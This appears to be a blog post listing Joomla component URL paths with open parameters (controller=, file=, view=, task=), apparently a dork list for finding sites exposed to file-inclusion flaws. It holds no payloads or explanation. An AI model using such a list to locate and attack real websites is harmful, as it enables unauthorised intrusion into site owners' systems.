/index.php?option=com_graphics&controller= “com_graphics”
/index.php?option=com_php&file= “com_php”
/index.php?option=com_aardvertiser&task= “com_aardvertiser”
/index.php?option=com_jejob&view= “com_jejob”
/index.php?option=com_jeajaxeventcalendar&view= “com_jeajaxeventcalendar”
/index.php?option=com_dioneformwizard&controller= “com_dioneformwizard”
/index.php?option=com_jequoteform&view= “com_jequoteform”
/index.php?option=com_mscomment&controller= “com_mscomment”
/index.php?option=com_simpledownload&controller= “com_simpledownload”
/index.php?option=com_event&view= “com_event”
/index.php?option=com_product&controller= “com_product”
/index.php?option=com_job&controller= “com_job”
/index2.php?option=com_simpledownload&controller= “com_simpledownload”

Older Posts Home